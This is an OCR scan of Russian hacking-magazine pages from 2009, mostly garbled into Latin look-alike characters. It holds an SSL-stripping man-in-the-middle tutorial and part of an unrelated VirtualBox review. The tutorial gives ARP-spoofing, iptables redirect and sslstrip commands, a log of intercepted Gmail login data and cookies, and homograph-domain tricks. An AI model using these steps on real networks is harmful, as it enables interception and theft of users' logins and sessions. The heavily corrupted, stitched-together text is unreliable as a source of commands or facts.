B none B Set-Cookie, 4T06bl nnlOWKYI CTanl'l nepeAaBaTb­ C>l no 06bl4HOMy HTTP. OT C>KaTl'I>l KOHTeHTa npl'lAeTC51

self. secureLinkListener. \ addSecureFavicon(link) self. secureLinkListener.addLink (link)

OTKa3aTbC>l, YAanl'lB B xeAepax HTML napaMeTp content encodings [oTK1l104aeM C>KaTl'Iel. a TaK>Ke if-modified­ since [npYlHYAYlTenbHo 3aCTaBn>leM cepBep OTAaBaTb CTpaHl'Il.\y, Aa>Ke ecnYl Ha He~ He 6blno Yl3MeHeHVl~1.

return data

)J,pyra>l np06neMa - ceccYll'I. nponyCKa>l 3Tan aBTOpv13al.\Yll'I, Mbl MO>KeM OCTaTbC>l 6e3 norYlHa l'I napon>l. PeWeHYle cneAYIO­

~

links

npo6neMbi C nOAMeHo~ CCbJIlOK MOryr B03HVlKHYTb B clle­

I.l.\ee: ceccl'IlO TO>Ke HaAO y6Y1BaTb, HO Hy>KHa OCTOpO>KHOCTb,

iWIOI.l.\l'IX CnY4a>lX:

4T06bl He BbJ3BaTb nOA03peHl'I~. CeccVll'l l'IMelOT CBO~CTBO

• )J,oMaWH>l>l CTpaHVl4­

• C KOMnpeCCYlpOBaHHblM KOHTeHToM, KOTOPbl~ CnO>KHO

YlCTeKaTb !JaKaH4l'1BaTbC>l1. npl'l4eM He BcerAa >lCHO, KorAa

Ka Moxie Marlinspike:

napCYlTb;

3TO npOVl30~AeT. OAHO MO>KHO CKa3aTb n04TYI HaBepH>lKa: OHl'I

ilJ.Q.\l9 htcri me .org. • sslsniff: thoughtcrime.

nonE CEPT~<I>~KATA«BASIC CONSTRAINTS» co 3HA4EH~EM nAPAMETPA «CA=FALSE»

QI]JLs.oftware(sslsniff. ·sslstrip: thoug hlcrime. o..cgL software(sslstrip. • arpspoof: ~poof.sourcefor~.

€) ~

dvd

• Bce ynOM>lHYTble B CTaTbe YTVlnVlTbl Tbl Ha~Aewb

Ha HaweM

DVD-npVlno>KeHVlVl . • Ha AVlCKe VlUjVl He­ 6onbwylO AeMoHcTpa­ L\VlIO B03MO>KHOCTe~ sslstrip.

~

028

XAKEP 05/125/09


nOAn~CbIBAEMCEPT~<I>~KAT ~MEIOW.~MCS1 HAPYKAXCEPT~<I>~KATOM

PAYPAL.COM

AllS1 XAKEP.RU

RootCA

Intermediate ot CA

Intermediate

1.J!••••IlIII.

Intermediate Intermediate

Intermediate Leaf [xakep.ru) Leaf (xakep.ru)

H~M 3BEHOM

B UEnO~KE

ETCS1 CEPT~<I>~KAT CAIf1TA

P.RU

_ -

,oT nOCpe,QVl aKTVlBHOM pa60Tbi. n03TOMY

-.ocJ1e Hayalla MITM-aTaKVl HaYVlHaeM - "'" pOBaTb Tpa<pVlK, npOXO,Q~ll.\VlM Yepe3

Leaf [paypal.com) l...(enOYKa cepTV1<pV1KaToB: OT cepTV1<pV1KaTa l.\eHTpa CepT>I<p>lKal\V1V1,Qo cepTV1<pV1KaTa Hawero caMTa

eTC~,

OHa y>Ke ,QOl1ro pa60TaeT

Vl,

eCIlVl Mbl ee npV1­

6beM, TO nOA03peHV1M ::lTO, CKopee Beero, He Bb130­ BeT. BOT, B 06ll.\eM-TO, i'l Bee ceKpeTbl ycnexa.

--:> -e TporaeM Cookies B TeyeHVle KaKoro­

-"..,,>NTKa BpeMeHVl [HanpVlMep, 5MVlHyrl. T\4 "2

--

5MVlHyr, 1'1 3anOMV1HaeM Bce ceccV1V1,

3>1,QellV1 3a ::lTO BpeMR ECIlV1 noclle

~BIl~eTC~ KaKa~-TO HOBa~,

TO nOllyya­

1'1 napollV1. Onb/Tbl Mbl 6YAeM npoBo,QV1Tb Ha BV1pTyallbHblx MaWVlHax. VlTaK, y Hac eCTb He60llbwa~ 1l0KallbHa~ ceTb, COCTO~ll.\a~

1'13 MaWV1Hbl >KepTBbl [192.168.1.31. HaweM

~ ~CnbITAEM

MaWVlHbl [192168.1.5) 1'1 MaWVlHbl, clly>Ka­

SSLSTRIP B AEJlE

ll.\eM WIl1030M B VlHTepHeT [192.168.1.11

Ho ,QOBOllbHO IlVlpV1KVl. nOCMOTpV1M, peallb­

Tenepb nOArOTOBV1M nllal\AapM AIl~ aTaKV1.

HO 111'1 YTall.\V1Tb YbV1-HV16y,Qb 110rVlHbi

B KayeCTBe OC Ha CBoeH MaWV1He 6YAeM V1cnOllb30BaTb nonYIl~pHblM ,QV1CTpV16yTVlB

_

=HHbIH l.\eHTp -'ilKal.\i'li'l

BackTrack3 [Bce TO >Ke caMoe MO>KHO npOAe­

RootCA cepnl(pl1KaT

llaTb

Vl

nOA BV1HAOM, nOCTaBV1B Heo6xOAV1Mble

nporpaMMbl 1'1 HaCTpOV1B eV1CTeMY, HO 3ayeM AellaTb IlVlWHIOIO pa6oTy, eCI1V1 KTO-TO y>Ke

- <THbli1 l.\eHTp .1oIKal.\i'li'l

T

1-i1

CepTl1lPl1KaT CA

c,Qellall ee 3a Te6~?1. VlTaK, 3arpy>KaeM CVlCTe­ npOBepHeMcpOKAeHCTBi'lHCepTI1~I1KaTa.

OH nOAnl1CaH Root CA. Root CA HBl1HeTCH AOBepeHHbIM, Ha nOM npOBepKa 3aKaHYV1­ BaeTCH.nOAl1V1HHOCTbcaHTaYCTaHOBl1eHa.

My 1'1 YCTaHaBIlV1BaeM sslstrip:

#bt python setup.py install B npV1Hl\V1ne, MO>KHO Aa>Ke He YCTaHaBI1V1BaTb,

- CTHblH l.\eHTp loIKal.\i'lV1

2-H

CepTl1lPl1KaT CA

npOBepKa cpOKa AeHCTBI1H CepTi'l~I1KaTa. Y3HaeM, YTO CA2 nOAni'lCaH CepTi'l~i'lKa­ TOM CAl, KOTOpbli1 onHTb >Ke He ~Bl1HeTCH

a 3anycKaTb sslslrip cpa3Y:

#bt python ./sslstrip.py -h

AOBepeHHbIM. npOBep~eM Cl1eAYIOll.\V1i1 cep TV1 <pi'lKaT. YTo6bl Bce 3apa60Ta1l0, HaM Hy>KHO

...

npOBep~eM cpOKAeHCTBV1H CepTi'l~I1KaTa

i'l y3HaeM, YTO OH nOAni'lCaH CepTI1~V1KaTOM CA2. T.K. TOT He HBl1HeTC~ AOBepeHHbIM, nepeXOAi'lM K Cl1eAYIOll.\eMY CepTi'l<pi'lKaTy B l.\enOYKe.

HeMHO>KKO nO,QKOH<pV1rypV1pOBaTb cV1cTeMy. CnepBa BKIlIOYV1M Ha MaWVlHe pe>KV1M nepe­ HanpaBlleHV1H naKeTOB Iforwarding model. ):(ellaeTc~ 3TO clleAYIOll.\eM KOMaHAoM:

#bt echo "1" > /proc/sys/net/ nporpaMMa.

ipv4/ip_Eorward

npoBeplllOll.\a~

CepTi'llP I1KaT

«npOUEAYPA npOBEPK~ CEPT~<I>~KATOB»

3aTeM HaCTpOV1M iptables ,Q1l~ nepeHanpaBlle­ HI1~ httP-Tpa<pVlKa:

~

029


....c: III

QJ

E :::l

U

o

Cl

CO ....

QJ

III

~

e

co E

.... QJ

~

III

~

u:::

Sending 2009-04-27 01:05:55,315 Sending header: cookie: utma=173272373.1849737500.1240172717.1240172717.1240779903.2; utmb=173272373; _utmz=I73272373 .1240172717 .1.1, utmccn=( organic) I ut mcs r=googl e I utmct r=gmai llutmcmd=organic; _utmc=173272373; GoogleAccountsLocale_session=ru; GALX=zflNOU6Dbgw; PREF=ID=b22104af5cb7cla2:TN=1240172745:LN=1240172745:S=ygJPOchJxaZ-N2EG; TZ=-240; G~~IL_RTT=4609; G~~IL_LOGIN=T1240779893453/1240779893453/1240779964171

2009-04-27 01:05:55,320 Sending header: content-type: appl icat ion/x -~M~I- form - url encoded 2009-04-27 01:05:55,335 SECURE POST Data (~~Iw.google.com): 1tmpl=defaul t~l tmplcache=2~continue=http%3A%2F%2Fmail . googl e. com%2Fmail%2F %3F~service=mail~rm=fal s e~l tmpl=defaul t~l t mpl=defaul t~scc=I~GALX=zflNOU6Db gw.Email=testI234 Passwd=testI234.rmShown=l~signIn=%D0%92%D0%BE%D0%B9%Dl %8 2%D0%B8~asts=

2009-04-27 01:05:55,408 Read From Server: HTTP/1. 0 200 OK Content-Type: text/html; charset=UTF-8 Cache-control: no-cache, no-store Pragma: no-cache Expires: Non, 01-Jan-1990 00:00:00 GNT Set-Cookie: GALX=zflNOU6Dbgw Path=/accounts;Secure Date: Sun, 26 Apr 2009 21:07 50 GNT X-Content-Type-Options: nosn ff Content.Length: 19491 Server: GFE/2.0

0 .

t3

2009-04-27 01:05:55,412 Found secure cookie:

II

ILine: 2,199 Col: 241101 RIO \I NORM [IDeSktop.log Find in Files III Tenninal

~.~~fiJ I

G

.2 Default

1:'1 ~

1

St:

u

~

.no "U

np~MEP norASSLSTRIP C nEPEXBA4EHHbIM~ nAPomlM~

«BCE, 4TO TPE60BAllACb Alls:1 PA60Tbl- 3TO nPEAOCTABltiTbSSLSNIFFAE~­ CTBltiTEllbHbl~ CEPTlti<DltiKAT.

#bt sslstrip -a -1 8080 -w /root/log.txt napaMeTp '-a' o3Ha4aeT, 4TO Mbl 5y,[leM norVlpoBaTb BeCb npOXO,[l~l11Vli:i http-Tpa¢VlK. '-l' YKa3blBaeT nopT. KOTopbli:i 5YAeM cnywaTb. a '-w' 3a,[laeT nyrb K nor-¢ai:iny. OCTanc~ nOCne,[lHVli:i WTpVlX - 3aCTaBVlTb )KepT­ By nOBepVlTb, YTO Mbl Vl eCTb TOT caMbli:i wnlO3 B VlHTepHeT. npOBepHeM 3TO c nOMOl11blO yrVlnVlTKVl arpspoof:

KCO>KAllEHltiKl, C2002-rO, KOrAA 6blllA OnY611ltiKOBAHA YTltillf,1TA, 6PAY3EPbl CTAllf,1 YMHEE f,1 TAKO~ npOBEPKO~ 6011bWE HE nPEHE6PErAKlT»

arpspoof -i <yourNetworkdDevice> -t <yourTarget>

<theRoutersIpAddress>

<yourNetworkdDevice> -

~

HameM ceTeBoM

KapT~

(B HameM crryqae ethO).

<yourTarget> -

a~pec

~epTB~.

<theRoutersIpAddress> -

a~pec

mrrD3a

#bt arpspoof -i ethO -t 192.168.1.3 192.168.1.1

LlO)K,[IVlCb. nOKa )KepTBa none3eT B VlHeT. Vl npoBep~i:i norVl. npVlMep KOTOpblX MO)KeWb yBVl,[leTb Ha O,[lHOM "3 CKp"HOB. Bce 3aMe4aTenbHO

#bt iptables -t nat -A PREROUTING -p tep

pa60TaeTI

--destination-port 80 -j REDIRECT --to-port <yourListenPort>

~

HYJlEBA5I 5E30nACHOCTb

KaK B",[I"Wb, 5e30naCHOCTb SSL MO)KHO CBeCTV1 ,[10 Hyn~ V1 npeBpaTVlTb r,[le <yourListenPort> - nopT. KOTOpblX 6y,[leT cnywaTb sslstrip; yCTaHo­

3al11V1l11eHHOe COe,[l"HeHVle B He3al11V1l11eHHoe. ,[I06aBV1B Ha Y4aCTKe

BVlM ero B 8080, HanpVlMep.

,[10 nonb30BaTem KOHHeKT no 06bl4HOMy http-npoToKOny.

Tenepb MO)KHO 3anYCTVlTb Vl caM sslstrip:

Y3HaB. HaCKonbKO 3TO npOCTO peanVl30BaTb. AyMalO. Tbl C oc050i:i BHV1­

~

030

XAKEP 05 /125/09


flJ "l/, Hi' LI~~b 3AnYlUEHHbll.1SSLSTRIP iii ARPSPOOF 3A PA60T0l.1

X~TPOCT~

1'31\1£1;11 ; ;',·!i1'W.fiMi¥@"!Ii1 11.11+

URL

Gr1 a iI "'''''''"

,qo6po nolt:aIlOllaTb II no'fTY Glnal:

"'.

nOOlXOA Google ~ ~Jl'lCTpoI'lHoii nO'fTe. Gmoil_ 210 HO'" HJlWII

><M

°",

Omoil ocn.:

11::'\ \;;;JI

1Ol:_,"

"O"<let1Il." tee'n(l"""- 6 .. o>e_y_

EloAA>n., I1lknymCoogk

"O><e1tt1ln._. " no.oe:JHI•• A _ . IL1jI' , _ . , . ........ Bt,l,~.

_10 :lJl''''flO'O<'.~o",.

\100• .......-..t.U:~Kiiiit-· .

M,•••• ella...

n..-:E~"OI

~- "'M""'" GO/)glo ",,6...,- rIaIlX)' 'B.o,Q_' 01 • _ _.,""" no"'..

""1 ~

O:J-..n._JI.O_ Q

.................

ope.

I-I r.mnoo... w ~ M..

............ ....,....---­..... _---_.--­ ---_......,.----.-......,..r_,

_.~---,,-,

~ ~

.. _-,-_.

,,,,,,,,,,,,..,,,,,,

-. ....... ,,-~-"'_

.. SoMe 13D.20E3 .. oro6ri, t l _ · 60A0.WII)

00­

,.,--~_

T".""" J)"IJlH 0 Gmtlif? 011 tiIOru_"'" ~C't>I1 • "orl(l1l"O-''''''''

,

SSLSTRIP B.qEI.1CTBIiIIiI. ATAKYlOlUliI1iI nEPEXBATIiIJ13AnpOC HA6E30nAC­ HOE COEAIiIHEHIiIE iii nOAMEHIiIJ1 ErO. "ITO XOPOWO BIiIAHO no AAPECHOI.1 CTPOKE - BMECTO HTTPS TAM CTOIiIT HTTP

_

0... =~'::.~.H_"_ . _.__,

o''' .......

Clo6cu.-.. MeCTa lll!3a4JlII:'o&.rn. 06 JA_'

....

.

.....

----,~

.. _-_."'­

nOAAEJ1bHbll.1 AAPEC GMAI!-. C03AAHHbll.1 Cno­ MOlUblO OMOr!'A<l>IiI"lECKOIiI ATAKIiIIHA CAMOM AEJ1E3TOTCAIiIT ~BJ1~ETC~ npOCTblM nOAAO­ MEHOM *.IJJK.CNJ TexHHKy sslstrip BnOJIHe peaJLbHO COBMe<:THTh CTaJ< I-1a3bIBaeMblMH oMorpaqlJ1'-1eCKHMH aTaKaMH. 3ToaTaJ<U, npl1 KOrophiX C03tI,aeTC:.ll c..'{O>Kee HMJ'I ,'I;OMeHa CHCnOJlb30BaHHeM 6Ylm an¢laBHTaAPyroro

MaTeJlbHOCTblO 6YAeWb OTHOCltlTbOl K C006l.l.leHlt151M 6pay3epa 06 l<1cnOllb­

H3h1Ka -

30sam'U1 3tlLLlltlw,eHHoro COe,lJ,ltlHeHl.1Q lt1 nOCt.iaTpV1aaTb Ha a.apecHylO

nne'-laTJIeHl1e, 'ITO OHI1 ncpCXOMT Ha pa3pelIJeHHblii Be6-caj:'IT.

crpOKY. Hltl B KoeM cnYl.lae

He BOCnpltlHVtMav.

CT8TblO. KaK

no6y)l(AeHlite

K AelilcTBL-1l0! OHa llL1Wb npl-13SaHa nOKa3ClTb OCHOBHble OWlA6Klo1 V1

HTTP.X

SSL

C l\eJlbJO J3DeCTH

nOJlb30BaTeJIeH B3arulY)KAeHHe H C03jI,3Tb

B200S-M EricJohanson aaperHCTpl1poBaJI AOMeHHoe HMfI p&# l072;ypal.com, KOTopoe HcnQJIb3yeT 'a' 113 KHpltJlJlHll.bl IT Bbl· rJUUJ:HT KBK paypal.com. ~ho Hac He yCTpaHBaeTB TaKoH aTaKe? Hy, Bo-nepBblX, OHa opHeHTHpOBaHa Ha OtI,HH KOHKpeTHbIfi caHT, q'T'O OrpaHH'-IUBaer pa,ilHYC AeHCTBl151. A DO-BTOpbl"X, 6paY3epbl H3}"-1H­ ,111Cb npaBHJJbHO oTo6pIDKaTh ION (Internationalized Domain Names -I1HTepHal\HOHaJlH30BaHHble,lJ,oMeHHble I1MeHa) li Ao6aBJUHoT

HEMHoro CTAT~CT~K~

KliMCHH TaK Ha3bIBaeMbIH Punycode- npe<pHKc«xn··". ¢aJIbllIHBblff paypal.com npeo6p33yeTOi B http://xn--pyoal-4ve.coffi. YiTaK, MbI He MOllieM licnOJIb30BaTh .com WlH J1Jo60n ~pyrOH..n;oMeH nepsoro ypOBH5I, li60 6paY3epbl.n;o6aB~TKHer.iYPunycode. npHKH~ HeM, KaKHe CHMBOJlbl '-IalL\e Bcero BCTpe'-laJOTCfl BURL[S2]? npaBHJlb­

Moxie Marlinspike 3anyC"nlJI sslstrip H3 torY3Jle IT 33 24 'mca

HO: «. / & ?"..l!:anati: aTHM BOCTIOJIb3yeMCR. 3aperHCTj>lipyeM .a;OMeH

CllOBHJl HeXHJlblH ypO>Kaii )"ieTHbiX 3anHceii:

ijjk.cn n nOJlY<JHM cepTHepHl:<aT J],.II}I -Ir .ijjk.cn. A nOTOM npHMeHHM

·login.yahoo.com-114

CTapblH TplOK C6}'l<OBK3MH H3 APyroro a.ll<paBHTa, O'-leHb rrOXO>I<JIMI-l

• Gmain-SO

Ha / H? 1VI51 C03,llClHJ-l5I tPaJlblIJHBblX URL'OK. CHoBa3arryCKaeM sslsniff,

• ticketmaster.com-42

TOJlbKO Ha 3TOT pa3, BMeCTO nOAMeRb( httpsHahttp,6y.n;eMnO,llMeH.RTb

• rapidshare.com-14 • Hotmail-13

URL Aa eBOH .llHnOBble [I0AAOMeHbl. TaR, haps: !/www.gm8iJ.cQmL accolJllts/SeryireLogin CTaHOeUTCJI hltpS: I/www.googlc.com/

• paypa1.com-9

·1inkedin.com-9

CCblJlKe He Ha6.mOjI,aeTC5I. rIJuoc KO BceMy, Mbl 06J1allaeM ,lleHCTBI1­

• facebookcom-3

accounts/ServiceLogin?!f.iiik

. HHJ<aKoro PunycodeBnOCllejI,Heti

TCJlbHbJM cepTHtPHKaroM tvUIJJ:aHHoro.a;oMeHa. 3aMeTHTb pa3HHLJ;y npaKTH.'ieCKH HeS03MO>KHO_

XAkEP 0511251 09

~

031


x

VI~"lJA.l~OX

~-----------------~-D

.- ,

Q

G,J __ - _._ -

~ 'lJA.

lQO

!RJIII ••

X

Q

_.I

,#,,1

{]

cT~n~H .• 5r~~ It1l1blilH I S~E~GlC.RU I

TYAllbHAH

AWHHA 3ABEcnnATHO

~ :ill

PEM

ECflVl

'

H~

&

VI~llJA.l~OX Q

.- ,

I I

~

- - - - - ­ -1-0

BOOPY>KEHHE npOrPAMMY

6bl'O~ Ha3aA MHe CKa3aflVl, 4TO VirtualBox B CKOpOM CTaHeT B 0AVlH

p51A CTaKVlMVI nl06V1MblMVI HaMVI npoAyKTaMVI, KaKVMware VlflVl Parallels, 6bl, CKopee Bce,o, npoCTo paccMe51flc51, «iI1HTepecHa51, HO }f{yTKO He­

5'1 C> ­

nyTeBa51, TopMo351w,a51 VI Mafl0cPYHKl...\VlOHaflbHa51 nOAeflKa 3HTY3V1aCTOB»

/ ' - BOT o6w,ee Bne4aTfleH Vie 0 Virtualbox'e TO,O nepVloAa, Ho TO, 4TO B anpefle 5'1 YBVlAefl Ha KOHcPepeHl...\VIVI Sun Tech Days, nOBep,flo MeH51 B WOK: COBceM APY'OVI npoAYKTI np51MO Ha MeCTe 6blflO peweHo: BO 4TO 6bl TO HVI CTaflO, 0 pa3pa60TKe HaAO paCCKa3aTb,

--<

My paCKOBblpRTb cereBoC1 AeMoH. pa306p3TbC>I C HaCTpO~KOVt

TO. '1TO 6onbwylO '-Iaab speMeHVi npOBO:A<y 110.0.

,!),nR

BlilHJJ,OH, H>1KC MHe H~Ha AOBOJ1bHO 'lacTO.

3anycKaeM Ha ABYX BlilpTyallK3x Backtrack iii

AOClynHB

'If

Her

CeTI1 liIJlIiI nO,QrOTOBliITbC>l K 3K33MeHy

nonY4eHII1R npeCTliI>KHOrO cepTliIQ>VlKa-ra.

B~PTYAn~3~POBATb?

nepsaH BepCL-1>! nporpaMMbl CTalla ny61lW-iHO

15 liH6apl1 2007

rOAa. 6bllil,D,R 1.13 HeAP

YAo6Hee. 4eM npoCTO nepeKJl104l1TnCSl Ha Bcer,o,3 r010BYlO OC, 3anYllleHHYlO H3 Bl-lprya.nKe.

Damn Vulnerable Linux. CBR3b1BaeM ceTb - l.1

KOMnaHL-1l.1 Innotek, a )OKe s 4>espalle 2008 pa3pa­

ltlenOnb3yeM BeCb cnel..ll.1anbHO C06P3HHbl~

60TKY nplilo6pell3 KOMnalH1R Sun Microsystems.

nocne nocne,o,Hero anrpe~)J,a KOMnblOTepa roCT€­

apceHan neHTecT-ynollllilT nepBoro Al-1CTpa H3

BepcRTHo. "ITO

SyfO cWCTeMY C Linux'oM 5l ,D,3Ke He Bb1KJl104alO­

eneUl>1anbHO OCTaBlleHHblX 6arax iii ~3BliIMocn,x

KOTOPblill33CT381i111 BCe MeXaHI'l3MbI 13Hyrplil

noelleAHero. 06a Aw;rp1iI6yrIilB3. KCTaTl.1 rOBopH,

VirtualBox pa60TaTb, KaK HaAO. Co BpeMeH€M

H14lJero

~lb

m4TO MO>KHO

BliIpryanbHble MaWltlHbl ~ 83~11 Ha Boop~eHV1e

,o,aBHo \1 I1CnOJ1b3YIO liIX nOCT051HHO. HeCMOTp51 Ha

~

QHa nOCTO"HHQ 8l.10lT B naM51H1

CeL!ilJac

iii

cTano reM Bonwe6HbiM nI'1HKOM,

6bllllil H3 H3weM npownoM AliICKe.

pa3pa6oTKB. l.13Ha4allbHO oplileHTl.1pOBaHHa51

npeSpaT\1l1aCb pa6oYa" CltlCTeMa, yCTaHoBH 51 Ha

Aa)l(e He 6epR B paC'-1eT cepsepHble peWeHl.1\l. Ha

Ha 3anycK TOl1bKO Windows

Hee BeCb CO~T. C KOTOpblM nplo1xOAlilTC51 HMeTb

KOTOpblX Sl'lpTYalll.13aL\I.1R npI'1MeH>leTC>! cnllOWb 1'1

3anycKaTb caMble pa3Hble Cl.1CleMbl, B TOM 41'1Cl1e,

pR.L\OM, 61i1pryaJIbHbie MaWL-1Hbl nnOTHO yKpeml.lllilCb

TaKlile KaK Solaris, OpenSolaris L-1 OpenBSD.

y')/(,.8 C.nO)KHO

~

npe,o,cr3Sli1Tb,

BO '<TO 6bl

,[Ieno. A onepau,1II0HKe nap, BV1pryallKOLii

see

Ha 06bl4HblX pa604L-1X CTaHu,I'1RX_ nOp,xOAflUJ.IolX

iii

linux. HaY4l.1JlaCb

YMenbu,bl ,D,B>Ke YMyApfllOTCI1 B Ka4eCTB0 rocresoC1

Hl1no'-le MI YTO 6bl H\I1 np0\olCxoJJJ1JlO, KaKYIO 6b1

iii

naKOCTb HVl H3T80Plo1l1i) TOJlbKO '-lTD ycraH06neH­

nnaT<j>opM HeMano. Ecnlol He 3aL-1KaTbC51 06 WMware

ac"" 3anl.1XHyrb Mac OS. nps8)J,a, \IlCnOnb3YlOT

Workstation. TO 3TO - Parallels Workst3tion. BnOJl~

AJl51 3TOro a.o,anT!'lpOBaHHyKl All>! InteroeCKl'1x

H3>l yrlilmn3,

iii KaKO~

6bl COMHIiITe.nbHO~ ,fJ,eR­

PC 1.1,

He pa60Tocnoco6H3R Microsoft Virtual

B p36oTocnoco6Hoe npliIllO)l(eHl>1e napo~ KJll.1KOG

Heu,. VirtualBox B MoeM JlW·IHOM xlo1T-napal-\e 1lI061'1~

rOCTeBble Cl-1CreMbl ,aK>Ke He npo611eMa. nOCl1e

MblWliI - AOCTaT04HO m1Wb 6bl6paTb Hy:>KHbICi

Ma>l (IBMBapa» ,CIonroe BpeMI1 3aHI'1Ma.na nepBoe

Tore. KaK pa3pa60TKS CTalla nO,ll"Qep>KliIB3Tb

CHIiIMOK CIiICTNlbl [snapshotJ. TpY.QHO HaCin1 cpeA­

MecTO Ho "'ITO crpaHHo: HeCMOTp" H3 6onbwo~ WTaT

Bce annapaTHbl€ TeXHOllOrl'1V1

CTBO MOll.lHee, '-no6b1 B BlilpryanbHblx yellOBl>1>lX

eOTpy,D,Hl.1KOB. HOBbie 6epcl.1L-1 n0118n"IOTCfI Bee pe)f{€.

KOTOpblMI'1 CHaC>K3IOTCR cospeMeHHble npo­

eocC03AaTb ceTeBylO IiII-lc?paCTpyKTYPY n1060Ci

a KaKl'lX-TO peBofllOu,1'10HHblX peWeHf1f1 He BI'1AHO

l..IeCCOpbl_ B o6w,eM, VirtualBox cr3ll npO,D,yKTOM,

ellO::+::HOCTl.1, c HpKHblM KOllV14eCTBOM XOCT06 H3

606ee. KOr.L\d-TO He.o,OCl1raeMoMy nl1AepyTenepb Hi,?

KOTOPbl~

P33JlV14HbIX CI1CTeMax. npOB03lt1BWl.1Cb 4acoK. Mbl

npoCTO HacrynalOT Ha n>lTKf1. HO 11 no MHOrl1M 4JpOH­

K TOMy )f(e. BepCCil>1 eeTb AJlR Windows, Lli\LlX.

nony.,aeM n1l3T¢JopMY. Ha KOTOpoCi JlerKO MO)l(HO

taM era Ha'-lI'1HaIOT onepe;;<aTb

Solaris/OpenSolaris/MacOS

110TeeH1Tb H08YlO x-tooliy. nonp060B3Tb C3MO­

llW~HO y6eAIolJ1eR. nopa60T36 c VirtualBox

~

032

KOH~HTbI,

H8KO­

npolteCCOpOB BepC1'11O Hackintosh. A 64-6l-1THble

TeflbHOCTbIO Hlil 33Hl>1M3113Cb, oeb 603Bpall\a€TCR

B '-1eM 11

6I'1pTYalll.13a~l'1l'1,

,fJ,ej:1CTBliITellbHO MO)l(HO VlcnOllb30saTb.

X.

3anycrl-1Tb onepaL\1iI0HKY no,!), VirtualBox'OM He

XAl<EP 0"/1251 09


[}--------­ L

_

-[J

,;;-::::.=~_~_.LI'tt"",,==~~~~~=l_=_~_._M!IIj---; Ti~

~lJii·~;;;'~~~

'i!!ll_

'I:~::­ ;1 8

-_

WC::;~i·

>o,.,._.,.r.v.!'.

_., ..,.'"....".",.....".,.. ,_,,_......... ,l-l._.,.. . I".•

~ -,.... >.",,,,,....',,,,,, .....,, ,.. ,,",h"'" , _ _ >.'"

.. ...

" "... ,"''''.",., '''._" " -" ..... ", .... ,,,",,,'''

.." ...

,_to, I""

.....,,,.,...,(-,

-..._~.-­

=:.­

_~._

lij •

- - - - - - - ­ ----­

C..."""l lQ C~ ...o<l '~C"._4

=:~:.=-.:.:':.:', ...::::-;.~,':~~\,.~:'::. ,....-........ ".., , ......

~

.T~'O(TO""'(_"")

.. ,

, ,.,""" ..."""'..,.,.".,.....,,, ,*-,...

_ _ .. _, ..". ,.,.... ".'''.'' n.,,.. ...., ~_'"::.;~''::;':::''7: :-r,~.-. , .~

'''~

• .....,.. <>"'

"'::.-.

0=

<0<,......,,,

rJ1ABHOE OKHO VIRTUALBOX, HA HEI1 nOAH~TbI4 BI1PTYAJ1KliI

-~

,.".,..,_

, " ••

,

" , ... " .....'"

1<>1

''''''.I-l._U ..

nOArOTOBKA K YCTAHOBKE GUEST ADDITIONS HA UBUNTU 9.04. 3AnYlllEHH0l1 HA BI1PTY­ AJ1bHOI1 MAWI1HE

CJlQ)t(Hee, 4eM npOCTO ycr3HOBl-lTb ee Ha KOMnblO·

KOMnblOTepy, KOTOpbli1 Tenepb pa50TaeT BHyrpV1

Bbl6HpaeTcSl B c80iiCTSClX BV1pryaflbHoi1 MaWV1Hbl

rep. A B03MQ)KHO, /l,3>Ke

CTaHp,apTHoro OKHa CV1CTeMbl. Pa60Ta rocreBOL>t

V13 CJ1eAYlOlLiV1X Bapl-1aHroB:

I-l

npolLle, nOToMy 'HO 8

:1.

C\<1CTeMbl MallO OTfl1ll4aeTCl1 OT TOi:1 )l(e onepa~140H­

Not attached tHe nOJl,KJ1104eHl:

CaM li1HTeM>e~c nporpaMMbl 04eHb npocr. HaAD

Kl-1, ycraHOSJ1eHHOL>t Ha KOMne. VirtualBox nOAAep­

Network

nocrapaTbCH, 4To6bl He CYMeTb Ha~TI1 KHonKy

>KV1BaeT sV1pTyall1013a~1II1O aYAl-1oycTPOL>tCT8. 50nee

Bridged networkinglCeTeBoH MOCT):

«C03,Q3Tb". C nOMOlllblO KOTOPO~ ltI C03p,aeTCH Hosall

TOro, nporpaMt>la pealllil3yeT Bl-olpT)'aJlbHbli1 USB·

Internal networking IBHyrpeHH1ll1 ceTbI:

cOCe,ll,HeM CKHe MO>KHQ n041-lTbiBaTb MaHyaJ1

811pryaJlbHaH MaWItlHa.

8 xo,n.e pa60Tbi MaCTepa

Heo6xo,ll,I-1MO BblnOJlHI1Tb HeCKOJlbKO 3TCln08:

1(0HlpOll1lep, n0380Jll1iOUJ.l-oli1 nOJl,KflK>4V1Tb np0V13­

Address

Translation INATI:

Host-only networking (Bl-1pryClJ1bHaR ceTb

BOJ1bHOe USB-yCTpOi1CTBO K Bl-1pTYallbHOJ1 MaWI-1­

xocTa) no YM0J14aHV1K>, BlIIpryaJlbHble ceTeBble aAanrepbl

• Bbl6paTb nm onepall,IIlOHKV, l.-l Ha3BaHI1e Bli1PTY­

He, 6e3 Heo6xOAl-olMOCTlo1 YCTaHaBJlV1B3Tb Apai:1Bepa

8JlbH0L1 MaWlilHol;

Ha MaW\<1HY-XOCT. Oc06eHHO peKOMeHAYlO ClIICTeMY

pa501OlOT B pe)t(l-1Me NAT"a, li1,D,eanbHO nO,Qxo)J,l1­

• yKa3aTb pa3Mep onepan18Klt1, 8bltl,efleHH0L1

CHenwoToB -

~eM, 4T06bl npep,OCTa8V1Tb rOCTeBO~ onepalJ,l-10H­

TaK Ha3blsaeMbix CQXpaHeHHblx

HO~ Cli1CTeMe npoaei:1Wl-1i:1 p,ocryn B \IIHeT IcepeplllHr

rOCTeeoYl OC:

COCTOI1HV1~ Blo1pTyallbHO~ MaW\.1Hbl. KJlK>60My V13

• C03,QaTb HOBbll1lo1J1L.1 \IlcnOJlb30saTb ¥)Ke lilMelO­

CHenWOT013 MO>KHO 5blCTPO np0li13secrlo1 OTKaT 1013

Be5a. n04Ta li1 T.A.l. Ho OTcyrCT6V1e peaJ1bHoro

LUlIlL1CIl 6V1PTYaflbHblL1 >:<eCTKli1Y1 ,ll,lKK

llK>50fO COcr0I1H141'1 roCTeeoi1 CV1CTeMbi. V1,QeanbHal1

IP-a.a,peca C80AI1T H3 HeT nOJle3HOCTb TaKoro pe)t(l-1­

E,QIo1HCTBeHHblL1 )-\I0aHC -

pa~ caM -

:no Hm A~CKa: BbI6>1­

nJlOlLiaJl,Ka J],J111 3KCnep\<1MC'HToe!

1<1f111 CTaT>1~eCKI1~. KOTOPbl~ cpa3Y

